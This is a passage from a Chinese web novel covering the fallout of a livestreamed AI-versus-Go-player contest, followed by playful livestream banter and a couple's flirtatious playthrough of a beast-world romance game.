“我们需要有自己的人工智能,不能被华国牵着鼻子走!”莱蒂斯气的在担架上大骂。 海外记者嘲讽:“不,如果是丘利亚这样的人工智能,华国大概都懒得牵着我们的鼻子走,您懂什么是碾压吗。” 莱蒂斯脸色越来越难看,海外记者却不惯着他,什么话难听说什么。 这场直播不单是国内能看到,海外也能看到,现在外网全都在议论莱蒂斯和丘利亚。 {我们国家的人到底什么时候能改变自大的坏毛病,咪咪这样完美的人工智能许竟然说咪咪只是最低端的机器人,现在被你们奉为高端智能机器人的丘利亚惨白,甚至咪咪都没有出手,请你们以后谦虚一些好吗?作为你们的国人大家并不想继续丢人!} {莱蒂斯这臭毛病真的要改了,每一次有什么新东西就要夸的天花乱坠,事实上什么东西都很低端,莱蒂斯都多少次了,只知道放嘴炮,每次都是没有人比我更了解许愿,没有人比我更懂许愿,没有人比我更明白人工智能,呵呵,打脸了吧!谦虚点好吗!} {我不要用丘利亚,我甚至以后都不想购买莱蒂斯的电子品牌了,我觉得这是在欺诈消费者,比起莱蒂斯我更相信许的品牌,起码不会欺骗我!} {不要因为这件事就相信许愿啊,许愿代表的是华国!你们想让华国的东西遍布我们的市场吗!这是许愿的阴谋,许愿故意要暗害我们国家!} {有病,脑子有病就去治,还许愿想要暗害你?今天这场比赛是因为谁才有的?因为莱蒂斯!是莱蒂斯先去了华国然后在网络上挑衅许愿,嘲讽许愿,还说自己的车能碾压许愿的新车,这事儿用我说用我强调吗?许愿从一开始就没搭理过莱蒂斯,现在出事了开始说许愿的阴谋了?你怎么不说莱蒂斯是间谍呢?} {哈哈笑死,你去看看你自己买的东西有多少是华国制造再来说这个。} {华国怎么了?起码把人命当人命,咪咪那种人工智能许都说她是低端人工智能,起码不会像莱蒂斯上来就夸自己的人工智障丘利亚是高端机器人还能打败咪咪,莱蒂斯根本没有测评就要售卖自动驾驶的车子,真的买了这种车子那就是死路一条,你对莱蒂斯这么忠诚那你去买莱蒂斯的车你去开莱蒂斯研发的新车,你今天敢开明天嘎嘣一下就死在中途了,信不信由你。} {谁家的产品性价比高更实惠就买谁家的啊,你有钱你去支持莱蒂斯,我中产,我就买性价比高的。} {莱蒂斯旗下的电子产品需要我说更多吗?贵,死鬼,性价比极低!} 海外都在喷莱蒂斯,国内也都在嘲讽莱蒂斯废物。 现在国内外统一口径,骂莱蒂斯就对了。 围棋国手李云伟就一直没离开,看到莱蒂斯彻底输了后,李云伟冲到许愿面前,眼睛里都闪烁着些许泪光。 第914章 人工智能无法取代人类 “许总,我……” 李云伟激动的几乎说不出话,他此刻有些结巴,就望着许愿,仿佛在看自己的救世主。 没有人动他在输掉比赛后心里想了些什么。 他觉得自己已经被彻底淘汰了。 但许愿用行动告诉他,那只是低端的人工智能,人类才是最智慧的群种。 这场比赛对李云伟来说让他对自己产生怀疑,对自己喜爱的围棋产生怀疑,他觉得自己不如人工智能,甚至已经不想继续追求这条路。 “我知道你想问什么。”许愿笑了笑:“人工智能是无法取代人类的,因为人类的想象力是无穷的,而人工智能是建立在数据运算上,他们的一切都是用数据构成的,他们比不过人类的浪漫,就像李先生你在与人对弈时感受到的独属于你们的围棋的浪漫,这是跟人工智能对弈感受不到的。” “围棋艺术是美的,是一项艺术运动,而不是属于人工智能的数据比赛,你不是输了围棋比赛,你是输了异常数据比赛,所以你不算输,你还是那个华国独一无二的瑰宝围棋国手。” 李云伟因为她此刻温柔的话整个人都显得有些呆滞,他像是在愣神,唇瓣都在哆嗦。 直播间都能感受到许愿此刻的温柔。 {许总是在安慰李老师吧,绝对是在安慰李老师,我都能感受到李老师快碎掉了,但许总却把他从那堆乱七八糟的游戏里面拉拽出来告诉他输掉的不是围棋比赛而是一场数据比赛,真的好温柔。} {李老师能在丘利亚手中坚持那么久已经很棒了,有关数据的比赛怎么能让围棋手上呢,就该让我们许总上,许总威武,许总最棒。} 李云伟能感受到许愿是在劝自己。 是啊,这是一场与人工智能的数据比赛,怎么能算围棋比赛呢? 李云伟终于松快的笑了,他本来打算这次比赛结束后久退出不再坚持自己的围棋事业,转行的,但许愿的话让他重拾自信。 丘利亚那样蛮力的破局针对自己攻击自己想要摧毁自己,但丘利亚是人工智能,他不是人类。 他可以被最简单的一串病毒攻击死机,他何必因为这样的机器人而否定自己。 “谢谢你许总。”李云伟这句谢谢完全的真情实感,没有半点敷衍,他是真的在感激许愿。 许愿还在笑。 对比莱蒂斯那边海外记者的疯狂,国内记者对她久温柔多了,一方面是尊重,另一方面是因为这边的记者都是经过筛选的,不是什么随随便便的人都能参与进来的,华国严选的记者,当然也懂分寸知进退。 “许总和段老师有兴趣推出人工智能吗?我们看咪咪真的很有意思很可爱。”这是喜欢咪咪的媒体问的。 段星河替她回应的:“还在测试阶段,咪咪现在还有点凶,如果问一些过分的话她还会骂脏话,需要调教一下。” “啊?那不是更带感了吗?”一名记者赶紧哔哔。 段星河:“?” 段星河被逗笑了,忍不住问:“你是说,咪咪骂你会让你觉得带感?” “对对对,真的会非常带感,段老师可以调整一下咪咪骂人的声音吗,我们声控。”那记者赶紧追问,一脸骂他都能给他骂爽的表情。 段星河差点开口道我没那么变态,这次是许愿抢了他开口的机会回应:“我们有考虑购入声优圈一些老师的声音,大家可以根据这些老师的声线为基础再进行捏调喜欢的声音,当然这一项不是免费的是需要付费的,最后付费款项分成也会到配音老师账户上,如果是商用的花费的金额也会稍微多一点,不过最后款项都会分到配音老师手中不会滥用配音和AI技术,大家也可以监督一下,如果有人滥用的话可以投诉。” 许愿说的这些让一些人眼睛都亮起来。 这个好啊。 既可以保障声音不被滥用,又可以让那些老师都收到自己应有的报酬,现场也是一片讨论声。 许愿却已经趁着这个时间跟盛景炎溜的没影了。 等记者们反应过来后着急也没用了,人已经没了,只能按照现在得到的这些发到网上了。 说到底莱蒂斯才是最惨的一个,本来打算利用许愿蹦跶的高一点,结果被许愿碾压称弱鸡了。 莱蒂斯现在都还在盯着直播间还有网络上的评价气的浑身发抖。 他本想让许愿当自己的跳板,结果最后害了自己,这算什么? 莱蒂斯企业的股价也创新低,莱蒂斯气到几乎快要吐血的程度,整张脸都是黑的。 莱蒂斯面容扭曲人还在医院里就开始开直播,要跟海外那群人对骂。 赶巧了,那群人也想骂他,此刻全都扎堆儿,等他开了直播一窝蜂的扎进他的直播间,铺天盖地全都是骂声。 “愚蠢!你们捧着许愿许愿能给你们什么!” {许愿不能给我们你就能给我们?也没见你的资产分给我们!} “丘利亚不输给咪咪!咪咪也是低端人工智能!” {都这时候了还硬扛着说丘利亚不输给咪咪!拜托,脸还不疼吗?而且许愿和段星河从一开始不就说了咪咪是低端人工智能?这到底有什么好质疑的啊!} “我是输给了华国人的阴谋诡计,我才该是赢家!是许愿和段星河算计了我!” {啊对对对,你用人工智能跟普通人类去下围棋你没有算计,你没有设计利用华国围棋国手来踩华国品牌,你脸怎么这么大?} 莱蒂斯气到心跳加速,他气愤的吞了药还要继续跟直播间那群人正吵得不可开交,艾瑞克就已经过来关了他的直播间。 “你干什么!你怎么敢关!”莱蒂斯激动的要从病床上跳下来。 艾瑞克一言难尽的的看着莱蒂斯:“莱蒂斯先生,你不得不承认这次我们真的输了,不要再跟网络上这群人争执了,您现在最应该做的是稳定股价,再跌下去……您回国第一件事就是要召开董事会了。” 第915章 说话能不能不大喘气 “您也知道盛华一直对您的企业虎视眈眈,难保这次不会盯着咬上几口啊!” 莱蒂斯现在就属于前有虎后有狼的状态,盛华还盯着呢。 莱蒂斯气到一呼吸心口都疼的程度,死死盯着艾瑞克几秒,最后咬牙道:“我明白你的意思了。” 这件事只能暂时这么算了。 “丘利亚真的不行吗?我们测试阶段丘利亚不是很可爱吗?大家都该喜欢丘利亚的,为什么会变成现在这样?这难道不奇怪吗?” 莱蒂斯不解疑惑。 艾瑞克干笑一声:“丘利亚是可爱,但……真的只能算是最低端的人工智能,而且我们要卖出丘利亚价格也很高,普通人是接受不来的,比起这个咪咪的性价比就比丘利亚高太多,所以大家才会选择咪咪而非丘利亚。” “都是一群没眼光的家伙,还能指望他们什么,一群穷鬼。” 莱蒂斯暗骂了几句,就接到了海外的电话,就像艾瑞克说的那样,已经闹起来了,全都要莱蒂斯给个说法。 莱蒂斯眼睛都气红了,都找他要说法,他找谁要说法去。 最初推出丘利亚的时候这群老东西不也支持吗?现在开始骂他不考虑后果了? 没办法,莱蒂斯只能搭乘最近一班飞机回国处理这烂摊子,反观许愿没有任何损失还宣传了一波咪咪,甚至这场发布会都是莱蒂斯花钱举办的。 莱蒂斯现在只是想一想就觉得憋屈。 在飞机上都还在跟助理争执不休。 莱蒂斯回去处理烂摊子被国人看作是落荒而逃,事实也确实没说错,海外的人也在嘲莱蒂斯成了落水狗。 许愿和盛景炎溜了就要跟段星河分开,段星河差点没忍住阴阳怪气几句,不过也知道俩人录制节目呢,所以也没说什么,只问了宋导这节目什么时候录制结束,直到只录制半个月这才心满意足的离开。 {段老师这就走了啊,别啊,我还想多看看段老师呢!} {有一说一,段老师是真的很帅啊,就是那种散发着成熟男人的魅力不知道大家懂不懂啊。} {导演!!!求问许总段老师是不是还单身啊!} 宋玥看到弹幕有人问段星河是不是单身这一条,眼瞅着段星河还没走远,赶紧开口问了句:“许总,有观众问段老师是不是单身,这是可以问的吗。” “有什么不能问的?”许愿还觉得有意思,直接喊住段星河,段星河也给面子停下脚步。 “什么事儿?” 他有点懒洋洋的,单手揣兜倚靠在车门边,怎么看这人都不像个科研人员,倒像是个有名的二代男模。 直播间里面都在尖叫,又开始有人刷屏段星河是不是单身,有没有谈恋爱结婚的打算了。 许愿开口问他:“评论区都在问你是不是单身。” 段星河“哈”了一声:“研究所就是我的首席爱人,你说我是不是单身。” “……”许愿唇角抽了抽:“说正经的。” 段星河白眼都要翻到天上去了:“我是不是单身你不知道吗,还问问问,怪我怼你吗。” “段老师,可不可以不阴阳怪气,好好说话。”许愿看他这副模样实在是有点想抽他。 “那怪我阴阳怪气吗,我就是一个凑数的,帮你搞完莱蒂斯我这就要被你们小情侣抛弃了,你们继续约会,我主动回研究所还不行?” 段星河憋屈。 那能不憋屈吗,需要他的时候硬是把人骗过来了,不需要了就让人滚蛋,太冷漠无情了。 盛景炎握着许愿的手开口:“也没让你走。” “我不走?我不走我能跟着你们?你们两个亲亲我我的握着手边走边说笑,买杯奶茶还要分着喝,就我一个孤家寡人在这里被喂狗粮,我心不心酸啊。”段星河又开始想翻白眼了。 许愿想了下:“也不是……他们不都是孤家寡人吗。” 说着还指了指节目组其它工作人员。 全部都是单身狗的众位工作人员:“……” 其中有女朋友的工作人员默默开口:“我不是,我有女朋友。” “谁让你说了!”不等段星河开口边上就有同事骂了。 许愿甚至还摆了摆肩,毫不在意段星河那酸呼呼的话,特地开口:“段老师回应了,他单身,还有什么想问的吗?” 段星河:“……” 他的控诉许愿理都不理,只知道抓重点,段星河觉得自己此刻心都是拔凉拔凉的。 许愿真的好狠的心啊。 宋玥导演赶紧抓住机会开口:“她们问段老师喜欢什么样的女孩子。” 哦,老生常态的问题。 段星河也听到了,还是那副懒懒散散的模样,然后抬手指了下许愿。 盛景炎:“……?”事情走向不太对啊。 许愿:“……?”她可是一点没看出来段星河喜欢她啊,还能不能有纯友谊啊?不是?哪里喜欢她了? 直播间也震惊了。 {啊?段老师喜欢谁?喜欢许总,我日,这真的很有可能啊!许总长那样谁不喜欢啊!} {许总身边还能不能有正常交往的男性朋友了,就段老师这样的都陷进去了。} {许总,真妲己降世。} {不信,我真不信,段老师看许总的眼神怎么看都不像是看爱人啊,绝对不是爱,别蒙我!我不信!天王老子来了段老师也不喜欢许总啊!} {妈惹盛总的连刷拉一下就变了笑死我,一直拿段老师当好朋友好兄弟,结果对方喜欢他老婆。} 一群人讨论的风生水起,段星河玩够了,扯唇笑:“我喜欢许愿她母亲那样的。” 盛景炎:“……”盛景炎松了口气然后更是一言难尽。 许愿眼角抽了抽,这次真的过去踹段星河了。 “你说话能不能不大喘气!” 段星河笑眯眯:“我不就晚说了一两分钟了,你们自己脑洞大能怪我吗。” 别说盛景炎松一口气,直播间都跟着松一口气。 哦,不是许总就行。 不是等会儿? 段老师喜欢谁? 许总的母亲?那不是苏青莲吗! 这位更是重量级啊! 直播间网友生无可恋。 {本来还想着努努力,结果是许总的母亲,好了好了,我这就滚了。} 第916章 拿你当朋友你想当我父亲 段星河才是一开口就王炸,喜欢苏青莲的人可太多了,就现在圈子里都还有些人爱慕苏青莲呢。 直播间这群人虽然没有见过苏青莲本人,但是查到过老照片,真的只有一张老照片,是苏青莲年轻时候的照片,许愿跟苏青莲像了七分,不同的是苏青莲较许愿多了几分温婉,当然真正接触过苏青莲的人知道苏青莲本人跟温柔没有什么关系,她不仅不温柔甚至还强势。 可直播间的人不知道,只知道苏青莲是华国第一个提及全息理论的人,更是在各行各业各个领域都有建树。 段星河说喜欢这样的人,谁敢冒头说自己跟苏青莲差不多?就连许愿作为苏青莲的女儿怕是也不一定比得过苏青莲本人。 所以段星河单着挺好,独美吧。 许愿却有点气笑了:“我拿你当朋友你想当我父亲?” 段星河轻咳一声:“我是你母亲的朋友,你最多是我小侄女,你说我是你朋友咱俩那不是差辈儿了吗。” 许愿更想抽他了。 “懒得理你。”许愿抱着肩离他远远的,段星河却没觉得自己哪里做的不对,还挺得意,甚至冲刑从景抬了抬眉毛:“我说我喜欢苏青莲她说我想给她当父亲,你不也想给她当父亲吗。” 刑从景:“……” 段星河这人纯属就是自己不痛快了你们也都别想痛快的主儿。 “邢队没有想理你好吗。”许愿看他在刑从景那边贱歪歪就想怼他。 段星河在这边叽歪:“你猜他为什么不理我,因为被戳中了心思啊,我跟你讲许愿,别说帝城就是其他城市想当你父亲的人都数不胜数。” 许愿并不是很想要那么多便宜父亲,她的父亲唐清江就很好。 她也不打算继续跟段星河墨迹,正打算回节目组,节目组导演宋玥笑眯眯开口:“许总,今天你们来直播玩游戏怎么样?是盛总盛世旗下一款文游软件,你们可以随机在这款软件中挑选一部游戏,里面涵盖了各类游戏,什么男女恋爱游戏,男男恋爱游戏,女女恋爱游戏,无限流恐怖游戏,无CP闯关游戏,沙雕游戏,各式各样的都有。” 等等,是不是闪过去了什么奇怪的类型。 男男恋爱和女女恋爱? 许愿捏了捏自己眉心:“打广告打到这里来了?” 宋玥摆摆肩:“今天为了来看这场直播我们现在回原来的录制地也要到晚上了,做不了其他任务,不如现在换个别的任务,看你们谁的直播间热度最高。” 许愿当然没什么问题,周鹤瑾他们更没问题。 只玩游戏肯定比做任务要轻松。 “在哪里录制?”许愿问了句。 宋玥摩擦了下手掌嘿嘿笑了笑:“许总,您看您方便给找个录制的地方吗。” 许愿:“……” 宋玥承认自己懒了,节目组有大佬干嘛不找大佬啊,抱大腿多好。 直播间弹幕都笑疯了。 {节目组导演都学聪明了,突然想录制嘉宾们玩游戏,结果没有定好地方就求许总,是啊,找不到地方许总能没地方吗?许总真没有直接搬几套就够了,配置绝对好。} {导演:嘿嘿,没场地,找许总。} “去盛世吧,那边有段星河的游戏房,今天抢他的游戏房。”许愿直接拍板了。 段星河可还没走呢,就听见许愿打他游戏房的主意,险些就气乐了,不过他今天本就没有多少时间玩游戏,没什么意见。 “那什么,许总,我们几组是要分开录制的。”宋玥为难道:“总不能几组人一起录制。” 许愿想了下挑眉看她:“谁告诉你段老师只有一间游戏房了,他在盛世起码有七间游戏房,他事儿多又作精,周一到周日每天去的游戏电竞房还不是一间,如果还不够的话,还可以挪用阿炎和我的。” 宋玥:“……” 宋玥不敢置信的去看段星河。 段星河满脸“怎样”的表情。 “我是祖宗,是盛世请我去的,那肯定要伺候好我啊,几间电竞房而已,看你们那不值钱的样子。” 别说在盛世了,就算之前在国家安排的研究所他也是祖宗,谁不捧着他啊。 直播间都酸死了。 等到了盛世,一群没见识的才知道段星河那电竞房有多夸张,电竞房内起码两台电脑,且每台都是顶尖配置随便一台都是价值二三十万的,键盘鼠标更是专门定制的,这是真拿段星河当祖宗捧。 四组人随机选了间电竞房,盛景炎和许愿的助理特地从茶水间选了茶点端过来,一群人想到盛世对员工的待遇有多好,更酸了,特别是节目组的员工,实在羡慕。 几组人分开录制的,许愿用电脑打开软件界面,这软件的游戏还不少,题材种类也多,直播已经开了,且连接到电脑上,同时开了两个窗口,一边对着许愿一边对着电脑游戏软件界面。 许愿不知道玩哪一个。 开始跟直播间互动。 “你们有玩过的吗?有推荐的吗?” 直播间立刻开始刷屏。 {许总!强烈推荐玩那个兽世穿越录,只要你不雷多人不雷兽人不雷海王,那真的绝了,这款游戏还有配音的啊!许总求玩!想跟许总玩同一款游戏!} 有人在刷屏这个游戏。 盛景炎看到弹幕眼皮狠狠一跳,刚想替许愿拒绝,但许愿已经答应了。 “兽世穿越录吗,好点开了。”许愿已经戴上了耳机,结果才戴上耳机就听到男人的喘息。 许愿:“……?别把我直播间封了,我真的是正经直播。” 她就知道直播间这群人能推荐什么正经游戏。 许愿看了看立绘,女主立绘还挺好看,再看看,嗯,捡回家一个弟弟,弟弟肤白貌美还挺好看的,许愿想了下:“难道是这个弟弟会给我介绍他的哥哥?或者是她哥哥,师兄这些来找他跟我发展一段情缘?” 直播间全都笑而不语。 五分钟后,许愿看着短短几分钟就从美貌弟弟蜕变成成熟美男的蛇类兽人男主沉默了。 第917章 你看你那不值钱的样子 也没人告诉她这游戏第一个男主是这种养成的啊?捡回家的弟弟成老公?这对吗? “他就是开口我放生的那条黑蛇?这走向是不是不太对?”许愿耳机里面能听到对方低沉的声线在喊自己姐姐,许愿本质也是个声控,整个人瞬间觉得酥酥麻麻的。 “哇!声音好听啊!这老公我收了!” 直播间都快笑死了。 {救命有没有人看看盛总的脸色啊,已经彻底黑了,许总叫着蛇蛇老公,然后盛总眉头都皱起来了,许总是真的一点都不避着人啊。} {许总:什么啊竟然是弟弟。下一秒的许总:哇,声音好听,收了收了。} {盛总现在应该非常煎熬,如坐针毡如芒在背,绝了。} 盛景炎确实有点无语,但许愿喜欢玩他就在旁边陪着,结果许愿伸手捏捏他的脸,突然就凑近他,几乎要脸贴脸了。 盛景炎心跳陡然加速,不知道许愿突然凑近是想做什么,下一瞬就听到许愿在自己耳边轻笑一声:“叫姐姐~” 直播间:!!! 盛景炎:“?” 许愿见他愣神,伸出手捧住他的脸,笑弯了眼睛:“快点,他都叫我姐姐了,你要有点参与感,现在我就把他代入你了,游戏里面的男主说什么你都要对我说什么,就当我老公切片进游戏了怎么样?” 直播间猝不及防被喂了一大口狗粮。 {许总,真的够了,真的,我们是想看盛总变脸的,没想到你给我们来这一出。} {虚假的兽世有五六七八个老公,真实的兽世,许总那独苗苗最得宠的盛总就是唯一的老公,行,这波还是盛总和许总赢了。} 盛景炎也不扭捏,看到电脑屏幕那段描述。 【他单手搂抱住我的腰身,大掌在我腰间摩挲,有点痒意,我缩在他怀里,却被他另一条手臂横住脖颈,能感受到他凉薄的唇贴在我的耳边,呼出灼烫的热气,用已经完全变音的低沉声音呢喃唤我“姐姐”。】 盛景炎有样学样,果然像电脑上描述的那样抱住许愿,在她耳边喊姐姐,甚至于这声姐姐喊的带了点撒娇的意味儿,黏黏糊糊的。 他继续看着后面的描述,漂亮的桃花眼里面带着别样的光彩,手捏住她的下巴,咬在她下唇,很轻的咬了下,却被她的口红染红了半边唇,带着明显诱人的颜色,鼻尖抵着她的鼻尖,此刻好像满眼都是她。 “姐姐你看看我,我就是你救回来的那条小蛇啊。” 他声音沉沉的带着撒娇的意味儿,直播间弹幕已经全都是啊啊啊的尖叫了。 {我TM点进来之前没想到会这么涩啊!盛总也没做什么啊!但是盛总……盛总故意压下声音说话的时候,你们知道什么感觉吗?盛总此刻的声音就像是从嗓子里长了双手在脱你衣服的涩情感,一张嘴我整个人都醉了,没有人!告诉我!许总竟然吃的这么好啊!对不起许总我意淫你下一老公,我爽了。} {这是真的……盛总要不你下海吧,孩子真的很想听你喘两声,有声之年还有机会吗?} {他老婆是许总啊!你做梦啊!} {笑死,想让身价千亿的总裁来给我下海喘给我听,真是心大了什么路子都想闯一闯。} {许总每晚就是听着盛总这样的声音睡觉的吗?这谁能睡得着啊,换我不得爬起来跟盛总这样那样吗……} {楼上你想多了,盛总和许总明显就是盛总想跟许总这样那样。} {楼上他俩明显是互相想对对方这样那样!} {嗑!给我往死里嗑!} 直播间全都是尖叫鸡,许愿没忍住凑上去在他唇边亲了一口,盛景炎便止不住的开始笑,然后开口:“这游戏的作者应该没有谈过恋爱……不,或者说应该是没有接过吻,这样鼻尖对着鼻尖的距离是看不到对方眼睛的,因为距离太近了,一片模糊,很容易斗鸡眼,建议不要尝试,并不会特别美观。” 直播间众人:“?” {那真是谢谢盛总了,长这么大还真是第一次知道这冷知识,电视剧都是骗人的。} {哈,单身狗!} 这么演起来确实比单纯玩游戏要有意思。 许愿继续往后玩,然后就看到自己被蛇蛇男主囚禁了,想要逃出去且不让蛇蛇杀掉其它跟自己好感度高的男角色需要回家前洗澡沐浴洗干净身上的味道。 许愿捏着下巴看着这里的剧情在思考。 “我不是很明白。” “被自己的爱人囚禁真的有点带感啊,她跑什么,这里的囚禁也不是真的囚禁,毕竟这是兽世,他感觉女角色是那个敏感时期,他狩猎的时候担心她被其它兽侵犯所以才不允许她出门,换句话说他陪着的话,她是可以随便去任何地方的。” “这不算囚禁,还挺宠啊。” “如果我是女角色我应该不会跑出去的。”许愿简短解释了下。 直播间有人特别热情友好的给许愿解释。 {许总!不出门怎么遇到其它男主啊!} 许愿沉默了下:“可是我觉得蛇蛇还是蛮帅的很好的,也不需要更多男主了吧” 五分钟后的许愿看着屏幕上出现的带狼耳朵的男主沉默了好半天才开口:“其实……蛇蛇可以当正宫,其它男主也还是很帅的。” 已经不是最开始说只要一个的许愿了。 {许总,盛总牙齿都要咬碎了,你快看看他,我们盛总整个人要伤心难过的碎掉了啊啊啊!} 许愿果然去看盛景炎了,但他脸上还是带着笑,仿佛自己什么都没听到自己什么都不在乎一样。 许愿贴过去在他颊边轻吻了下:“没事没事嗷,里面的男角色在我眼里都是你啊,如果你喜欢的话晚点我们回去买点这些COS服,如果没有卖的就让人定做,我们自己演一演拍一拍这些艺术照,最爱你啦。” 盛景炎马上就被许愿哄好了。 直播间弹幕全都是“盛总你看你那不值钱的样子啊!脸都要笑烂了!” 第918章 全给他安排了 盛景炎确实一直在笑,从许愿贴过来开始就在笑了。 评论区一群人一言难尽的看着直播。 {就是说……为什么一定要许总和盛总玩这种游戏呢?退一万步来讲,许总和盛总真的不能给我亲自演一部偶像剧来看看吗?就在直播间演,什么强制啊强吻啊囚禁啊,如果他们两个演的话,我可太爱看了!} {其实看许总玩这种游戏然后看盛总变脸也挺有意思的,特别是盛总还会重复那些男角色的台词,还会跟许总互动……真的特有意思。} {那么烂俗的台词盛总说出来都带着点特有的气质,不愧是我们许总严选,就是不一样。} 许愿看直播间一直在刷屏,现在已经到第四个……重要男角色出场了。 许愿挑眉很明显来了兴致。 “是蛇蛇的大哥啊,蛇哥这声音有点欲啊,这是第四位男主吗?兄弟我是可以的。”察觉到盛景炎的死亡凝视,许愿立刻握住他的手开口:“我说的是游戏,现实里面你的兄弟我一个都不可以。” 盛景炎面上表情这才恢复正常,只是盯着电脑屏幕,继续死亡凝视。 直到第五个男主出来,许愿看着第五个男主竟然是人鱼,眼睛都跟着亮了下,然后立刻偏头去看盛景炎,眼睛亮晶晶的充满期待。 “你去考个这种证吧,你就穿这种鱼尾去潜水好不好,然后突然‘刷拉’从水里面跃出,哇,超美!” 盛景炎的身材很好,许愿是亲自数过的,八块腹肌,且不是那种特别壮的,是那种很美观的腹肌,许愿甚至还开玩笑说他的腹肌漂亮的像建模。 只要想一想盛景炎套着鱼尾在水里游她笑的颊边酒窝都变得明显了。 直播间也全部都在期待。 这已经是许愿开玩这游戏后第无数次想让盛景炎COS了,蛇尾的,狼耳朵的,带翅膀的,羊耳朵,兔子耳朵,狐狸耳朵,老虎耳朵,只要是游戏里面出现的兽人动物许愿一个不差全给盛景炎安排了。 盛景炎不由得抬手捏了捏眉心忍不住的笑。 “真想看?” 许愿立刻点头。 那必须想看。 “我有潜水证,等回去后先定做这种鱼尾,你喜欢什么颜色就定制什么颜色。”盛景炎还是很宠的,虽然自己心里快要醋死了,但许愿提了他就应。 “那我要这种婚纱照!一定会特别漂亮。” 许愿眼睛又亮了,明显是已经想象到婚纱照有多漂亮,捧着盛景炎的手捏了捏。 “好,听你的,顺便也给你订几套。”盛景炎这边才说下一秒就已经安排自己助理去交涉了,甚至请了有名的设计师设计鱼尾并亲自制作。 超绝行动力。 许愿这游戏其实玩的很有意思,直播间都爱看,主要还是盛景炎的吐槽和许愿时不时互动虐狗更有趣。 游戏作者甚至还特地转发了许愿的直播间,然后发了个捂胸口的表情包回应“如果我女儿和我儿子们真的有许总和盛总这样的颜值我兼职就要开心的快要疯掉了。” 可不是吗,就冲这俩人的颜值,谁看了谁不疯。 游戏本来就火,再加上许愿和盛景炎也跟着玩,又被带火了一把。 周鹤瑾那边玩的是皇帝成长攻略,周鹤瑾真的特别让直播间的观众无语。 因为这款皇帝成长攻略主要就是看男角色皇帝收了多少美人,然后才是军事方面,一般情况下玩这款游戏的最后妃子千千万,孩子都一大串儿,想挑谁继承皇位都是一大难事。 周鹤瑾就不一样了。 本来粉丝都摩拳擦掌等着周鹤瑾收一堆美人的,结果游戏开始问他有没有皇后,他选了有,然后选择了自己喜欢的立绘人物。 是的,就这样,周鹤瑾从头到尾就没有其它的妃子了,全程都在搞军事搞人文搞教育,甚至于孩子都只让皇后生了两个,然后专注培养这两个孩子。 其他人玩的皇帝成长攻略后宫不是这个下毒这个栽赃下一个在花园唱歌跳舞争宠。 到周鹤瑾这里,全都没有! 好不容易碰到一个宫女爬床的,问他要不要接受,周鹤瑾果断拒绝,并交给皇后处置。 从头到尾干干净净。 每天的日常就是上朝,看奏折,陪孩子陪皇后,看书,休息。 健康的不像是一个皇帝。 甚至于早早就禅位给了太子,后面周鹤瑾打出来的结局更是独一份的结局。 因为没有人真的只选一个,最后打出来一个皇后和她诞下的那一双儿女的番外,游戏中的皇后温婉贤淑,但最初并不想入后宫,她知道自己进入后宫就会丢掉自我,不能再任性,从入皇宫那天开始她就注定只是皇后不是她自己。 但周鹤瑾故事中的皇后却并不想其他人故事剧情的皇后那样温婉优雅,而是有自己的小性子,会撒娇会小作,就连他养出的孩子也是如此,并不是完美的无可挑剔,但却有血有肉。 周鹤瑾曹总的这个皇帝角色从一开始就从一而终所以给了她们足够的底气和自信知道她是他最爱的妻子,而一双儿女也是他最爱的,不会有其它兄弟姐妹争宠。 所以他们一直都是幸福的。 周鹤瑾打出了这样的结局,甚至民间番外,提到皇帝都会讲他和皇后是神仙眷侣,乃至他后面的太子也是一生一世一双人,也因为故事里的皇家如此钟情,导致民间也纷纷效仿。 可以说这才是最完美的结局。 周鹤瑾这个游戏跟许愿那个游戏还不同,许愿那个游戏其实是剧情向游戏,一开始就定好了很多男主无法自己选择,所以只能海王结局。 周鹤瑾的是可以后宫三千人,但他只选了一个,是养成类游戏。 直播间的人都看傻了。 {不是……这还是我玩的皇帝养成攻略吗?} {周鹤瑾的皇帝养成攻略简直玩出了一个新游戏啊,我的后宫天天打打杀杀勾心斗角,周鹤瑾的后宫这么平和温馨……好像突然就知道周鹤瑾想要的是什么了。} 第919章 他想要的一直都很简单 周鹤瑾想要什么?周鹤瑾想要的一直都很简单。 他其实没有特别远大的报复,他知道自己的性子直,知道自己有点大男子主义,所以就算真的谈恋爱也会说明,将自己的脾性完全告知对方,甚至也提到适合跟自己生活的是那些比较居家温柔的女性,不是一定要对方辞去工作在家相夫教子,对方当然可以有她的事业,只是他清楚自己的脾气不算太好,所以希望对方可以稍微包容一点。 他一直都是有什么说什么。 哪怕是面对媒体也直说自己有点大男子主义,占有欲强,脾气不好。 可内娱哪有男星敢直接这么说的,也就一个周鹤瑾了。 他想要的其实就是能有个跟自己共度余生的太太,也不需要对方真的特别优秀,只要结婚没有原则性错误他就会负责容忍一起经营这段婚姻。 就像他操控男角色成为皇帝后一直都只要皇后一个。 他现实生活中也是如此。 周鹤瑾在游戏过程,周文晏小朋友甚至还乐颠颠的在他怀里指着这个姐姐漂亮,那个姐姐漂亮,想要很多漂亮姐姐,周鹤瑾告诉他这是异常关于婚姻选择的游戏,游戏中的男角色已经有了爱人伴侣,那是不是不能再选择其他人。 周文晏小朋友这么小,能懂什么,就是看那些图案漂亮所以喜欢想要。 但周鹤瑾说男角色有了爱人伴侣后他好像懵懵懂懂的明白了,马上开口“爸爸那你不要那些漂亮姐姐了,让她们跟其他好看的哥哥在一起吧,不然这些姐姐也会被辜负伤心的。” 很难想象这是一个四岁多的小男孩说出来的话。 甚至会让人觉得是不是有剧本,不然怎么能说出这种引人发醒的词。 显然周鹤瑾也担心有人误会周文晏,开口引导周文晏:“晏晏为什么会这么说呢?” “就是要一对一呀,爸爸说过的,我们心里的情感就那么点点,只够分给身边人啦,爸爸我长大了不要结婚哦,我要跟爸爸在一起,我最爱爸爸,我的爱全都给爸爸!” 周文晏说是懂但又没懂。 他傻乎乎的说要把自己的爱分给周鹤瑾,眼睛亮晶晶的,可爱懵懂,不少人看着这一幕只觉得实在可爱软萌。 而周媛媛看着这一幕,心里却是发酸的难受。 她马上就要失去周鹤瑾了,就是快失去周鹤瑾的时候周媛媛才知道这个男人到底有多优秀。 如果没有背叛周鹤瑾,那周鹤瑾不会离婚,他还是会只有自己,然后守着自己护着自己,哪怕自己没有资源,他不会嫌弃她,他们会一直是一家人。 可这一切全都被她自己毁掉了,就算是后悔好像也已经晚了。 周媛媛眼睛发红的看着那对颜值极高的父子,她很想融入进去,但根本融不进去,只要靠近,周文晏就会发抖,像是很害怕她不想靠近她。 周鹤瑾便会淡淡的笑一声让他坐在隔壁好好休息。 明明是温柔的声音,但就是透着冷意。 